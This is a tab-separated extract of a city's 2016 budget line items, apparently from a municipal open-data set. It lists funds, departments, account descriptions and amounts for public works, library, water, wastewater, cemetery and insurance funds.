18684	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2016	2116	0	0	0	0	0	0	0	0	0	0	0	2116
18685	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	69059	0	0	0	0	0	0	0	0	0	0	0	69059
18686	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	197901	0	0	0	0	0	0	0	0	0	0	0	197901
18687	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	121400	0	0	0	0	0	0	0	0	0	0	0	121400
18688	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555070.0	RECYCLING/DISPOSAL FEES	808.0	 Supplies and Expenses	2016	4235000	0	0	0	0	0	0	0	0	0	0	0	4235000
18689	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
18690	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2016	408928	0	0	0	0	0	0	0	0	0	0	0	408928
18691	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2016	1530	0	0	0	0	0	0	0	0	0	0	0	1530
18692	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18693	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	23342	0	0	0	0	0	0	0	0	0	0	0	23342
18694	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	18000	0	0	0	0	0	0	0	0	0	0	0	18000
18695	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533180.0	TRANSFER STATION OPERATIONS	808.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
18696	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2016	19200	0	0	0	0	0	0	0	0	0	0	0	19200
18697	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2016	108759	0	0	0	0	0	0	0	0	0	0	0	108759
18698	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	1698	0	0	0	0	0	0	0	0	0	0	0	1698
18699	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2016	17187	0	0	0	0	0	0	0	0	0	0	0	17187
18700	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555220.0	UNIFORM RENTAL	808.0	 Supplies and Expenses	2016	1632	0	0	0	0	0	0	0	0	0	0	0	1632
18701	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2016	1570021	0	0	0	0	0	0	0	0	0	0	0	1570021
18702	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533260.0	REPAIRS/IMPROVEMENTS	812.0	 Supplies and Expenses	2016	68000	0	0	0	0	0	0	0	0	0	0	0	68000
18703	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555190.0	CORPORATE LIBRARY SYSTEMS	812.0	 Supplies and Expenses	2016	14200	0	0	0	0	0	0	0	0	0	0	0	14200
18704	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2016	17057	0	0	0	0	0	0	0	0	0	0	0	17057
18705	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544040.0	BOOKS/PAMPHLETS	812.0	 Supplies and Expenses	2016	556293	0	0	0	0	0	0	0	0	0	0	0	556293
18706	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2016	127460	0	0	0	0	0	0	0	0	0	0	0	127460
18707	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	7073	0	0	0	0	0	0	0	0	0	0	0	7073
18708	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	3257	0	0	0	0	0	0	0	0	0	0	0	3257
18709	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2016	209374	0	0	0	0	0	0	0	0	0	0	0	209374
18710	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	76970	0	0	0	0	0	0	0	0	0	0	0	76970
18711	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	2473776	0	0	0	0	0	0	0	0	0	0	0	2473776
18712	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544260.0	BIN REPAIR	808.0	 Supplies and Expenses	2016	66500	0	0	0	0	0	0	0	0	0	0	0	66500
18713	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2016	306	0	0	0	0	0	0	0	0	0	0	0	306
18714	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2016	9023	0	0	0	0	0	0	0	0	0	0	0	9023
18715	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2016	37997	0	0	0	0	0	0	0	0	0	0	0	37997
18716	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2016	110327	0	0	0	0	0	0	0	0	0	0	0	110327
18717	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	577050.0	PROPERTY TAXES	866.0	 Supplies and Expenses	2016	56910	0	0	0	0	0	0	0	0	0	0	0	56910
18718	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING TRANSFER	908.0	 Supplies and Expenses	2016	-241202	0	0	0	0	0	0	0	0	0	0	0	-241202
18719	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	1505	0	0	0	0	0	0	0	0	0	0	0	1505
18720	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2016	2755	0	0	0	0	0	0	0	0	0	0	0	2755
18721	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2016	857339	0	0	0	0	0	0	0	0	0	0	0	857339
18722	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2016	235247	0	0	0	0	0	0	0	0	0	0	0	235247
18723	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	1640	0	0	0	0	0	0	0	0	0	0	0	1640
18724	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	10948	0	0	0	0	0	0	0	0	0	0	0	10948
18725	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	750447	0	0	0	0	0	0	0	0	0	0	0	750447
18726	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	18000	0	0	0	0	0	0	0	0	0	0	0	18000
18727	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2016	81100	0	0	0	0	0	0	0	0	0	0	0	81100
18728	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	129000	0	0	0	0	0	0	0	0	0	0	0	129000
18729	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	489307	0	0	0	0	0	0	0	0	0	0	0	489307
18730	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	1690	0	0	0	0	0	0	0	0	0	0	0	1690
18731	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2016	145682	0	0	0	0	0	0	0	0	0	0	0	145682
18732	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	5700	0	0	0	0	0	0	0	0	0	0	0	5700
18733	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	1505	0	0	0	0	0	0	0	0	0	0	0	1505
18734	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	70965	0	0	0	0	0	0	0	0	0	0	0	70965
18735	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2016	5890	0	0	0	0	0	0	0	0	0	0	0	5890
18736	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2016	1330	0	0	0	0	0	0	0	0	0	0	0	1330
18737	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555210.0	TRAINING	812.0	 Supplies and Expenses	2016	16000	0	0	0	0	0	0	0	0	0	0	0	16000
18738	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	45280	0	0	0	0	0	0	0	0	0	0	0	45280
18739	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511490.0	OVERTIME	812.0	Salaries and Wages	2016	19344	0	0	0	0	0	0	0	0	0	0	0	19344
18740	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	6709	0	0	0	0	0	0	0	0	0	0	0	6709
18741	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	4100	0	0	0	0	0	0	0	0	0	0	0	4100
18742	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	150000	0	0	0	0	0	0	0	0	0	0	0	150000
18743	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	13491	0	0	0	0	0	0	0	0	0	0	0	13491
18744	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	17478	0	0	0	0	0	0	0	0	0	0	0	17478
18745	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18746	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2016	1181844	0	0	0	0	0	0	0	0	0	0	0	1181844
18747	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2016	850000	0	0	0	0	0	0	0	0	0	0	0	850000
18748	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402490.0	WATER CAPITAL FACILITIES FEE	650.0	Charges for Service	2016	-431080	0	0	0	0	0	0	0	0	0	0	0	-431080
18749	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18750	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402230.0	MAUSOLEUM-MISC SALES/SVCS	650.0	Charges for Service	2016	-18385	0	0	0	0	0	0	0	0	0	0	0	-18385
18751	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402430.0	SELF-INSURANCE WORKERS COMP	650.0	Charges for Service	2016	-13440002	0	0	0	0	0	0	0	0	0	0	0	-13440002
18752	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-350000	0	0	0	0	0	0	0	0	0	0	0	-350000
18753	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401630.0	LIBRARY COPIERS AND PRINTERS	612.0	Charges for Service	2016	-22000	0	0	0	0	0	0	0	0	0	0	0	-22000
18754	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401640.0	LIBRARY MEETING ROOM RENTAL	618.0	Rentals	2016	-53000	0	0	0	0	0	0	0	0	0	0	0	-53000
18755	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2016	30000	0	0	0	0	0	0	0	0	0	0	0	30000
18756	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2016	272	0	0	0	0	0	0	0	0	0	0	0	272
18757	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	181973	0	0	0	0	0	0	0	0	0	0	0	181973
18758	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555210.0	TRAINING	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18759	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522950.0	CNG FUEL		 Supplies and Expenses	2016	37448	0	0	0	0	0	0	0	0	0	0	0	37448
18760	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555120.0	LA SEWAGE DISPOSAL		 Supplies and Expenses	2016	6956036	0	0	0	0	0	0	0	0	0	0	0	6956036
18761	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2016	80763	0	0	0	0	0	0	0	0	0	0	0	80763
18762	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2016	264782	0	0	0	0	0	0	0	0	0	0	0	264782
18763	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2016	25137	0	0	0	0	0	0	0	0	0	0	0	25137
18764	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2016	54546	0	0	0	0	0	0	0	0	0	0	0	54546
18765	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522620.0	RENT	866.0	 Supplies and Expenses	2016	105913	0	0	0	0	0	0	0	0	0	0	0	105913
18766	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	523000.0	VEHICLE MGMT FUND-MAINTENANCE	846.0	 Supplies and Expenses	2016	201409	0	0	0	0	0	0	0	0	0	0	0	201409
18767	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2016	1082788	0	0	0	0	0	0	0	0	0	0	0	1082788
18768	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522120.0	UTILITIES - NATURAL GAS	850.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
18769	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555700.0	REGULATORY AGENCY FEES	866.0	 Supplies and Expenses	2016	114220	0	0	0	0	0	0	0	0	0	0	0	114220
18770	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	555300.0	LIBRARY BOND DEBT SERVICE	910.0	 Supplies and Expenses	2016	1382650	0	0	0	0	0	0	0	0	0	0	0	1382650
18771	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566940.0	PARKING AUTHORITY REV BOND	910.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18772	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	908.0	 Supplies and Expenses	2016	-25000	0	0	0	0	0	0	0	0	0	0	0	-25000
18773	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	908.0	 Supplies and Expenses	2016	-1567000	0	0	0	0	0	0	0	0	0	0	0	-1567000
18774	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	908.0	 Supplies and Expenses	2016	-80455	0	0	0	0	0	0	0	0	0	0	0	-80455
18775	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2016	601137	0	0	0	0	0	0	0	0	0	0	0	601137
18776	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2016	3918009	0	0	0	0	0	0	0	0	0	0	0	3918009
18777	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522140.0	WATER PURCHASES	852.0	 Supplies and Expenses	2016	4774500	0	0	0	0	0	0	0	0	0	0	0	4774500
18778	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2016	70400	0	0	0	0	0	0	0	0	0	0	0	70400
18779	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	910.0	 Supplies and Expenses	2016	52421	0	0	0	0	0	0	0	0	0	0	0	52421
18780	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522070.0	DEPOSITION COSTS	862.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18781	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522100.0	EXPERT WITNESS COSTS	862.0	 Supplies and Expenses	2016	60000	0	0	0	0	0	0	0	0	0	0	0	60000
18782	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2016	18927	0	0	0	0	0	0	0	0	0	0	0	18927
18783	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2016	2172	0	0	0	0	0	0	0	0	0	0	0	2172
18784	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	158400	0	0	0	0	0	0	0	0	0	0	0	158400
18785	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	157000	0	0	0	0	0	0	0	0	0	0	0	157000
18786	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544050.0	CEMENT / SAND / GRAVEL	808.0	 Supplies and Expenses	2016	3000	0	0	0	0	0	0	0	0	0	0	0	3000
18787	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555220.0	UNIFORM RENTAL	844.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18788	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2016	43208	0	0	0	0	0	0	0	0	0	0	0	43208
18789	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522620.0	RENT	866.0	 Supplies and Expenses	2016	105913	0	0	0	0	0	0	0	0	0	0	0	105913
18790	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2016	981	0	0	0	0	0	0	0	0	0	0	0	981
18791	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2016	1090278	0	0	0	0	0	0	0	0	0	0	0	1090278
18792	BA	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	910.0	 Supplies and Expenses	2016	74843	0	0	0	0	0	0	0	0	0	0	0	74843
18793	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555060.0	PROFESSIONAL SERVICES	864.0	 Supplies and Expenses	2016	315000	0	0	0	0	0	0	0	0	0	0	0	315000
18794	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	400940.0	CDBG CURRENT ALLOCATION	610.0	Intergovernmental	2016	-1010493	0	0	0	0	0	0	0	0	0	0	0	-1010493
18795	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401500.0	GARB/REFUSE COLLECTION FEES	650.0	Charges for Service	2016	-24715000	0	0	0	0	0	0	0	0	0	0	0	-24715000
18796	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401520.0	SPECIAL PICK-UPS	650.0	Charges for Service	2016	-5000	0	0	0	0	0	0	0	0	0	0	0	-5000
18797	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402410.0	SELF-INSURANCE BUS	650.0	Charges for Service	2016	-2500000	0	0	0	0	0	0	0	0	0	0	0	-2500000
18798	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2016	-36200	0	0	0	0	0	0	0	0	0	0	0	-36200
18799	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2016	28179	0	0	0	0	0	0	0	0	0	0	0	28179
18800	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566630.0	STORM DRAIN MAINTENANCE		 Supplies and Expenses	2016	181713	0	0	0	0	0	0	0	0	0	0	0	181713
18801	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	4468	0	0	0	0	0	0	0	0	0	0	0	4468
18802	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2016	311	0	0	0	0	0	0	0	0	0	0	0	311
18803	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	5740	0	0	0	0	0	0	0	0	0	0	0	5740
18804	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	65000	0	0	0	0	0	0	0	0	0	0	0	65000
18805	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511490.0	OVERTIME	840.0	Salaries and Wages	2016	38515	0	0	0	0	0	0	0	0	0	0	0	38515
18806	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2016	20392	0	0	0	0	0	0	0	0	0	0	0	20392
18807	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	519	0	0	0	0	0	0	0	0	0	0	0	519
18808	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511710.0	MEDICARE EMPLOYER CONTRIBUTION	840.0	Salaries and Wages	2016	258	0	0	0	0	0	0	0	0	0	0	0	258
18809	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522320.0	METERED POSTAGE	848.0	 Supplies and Expenses	2016	12460	0	0	0	0	0	0	0	0	0	0	0	12460
18810	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2016	15844	0	0	0	0	0	0	0	0	0	0	0	15844
18811	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555010.0	CONTRACTUAL SERVICES	844.0	 Supplies and Expenses	2016	415344	0	0	0	0	0	0	0	0	0	0	0	415344
18812	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2016	54546	0	0	0	0	0	0	0	0	0	0	0	54546
18813	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2016	666368	0	0	0	0	0	0	0	0	0	0	0	666368
18814	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2016	40900	0	0	0	0	0	0	0	0	0	0	0	40900
18815	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18816	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2016	325	0	0	0	0	0	0	0	0	0	0	0	325
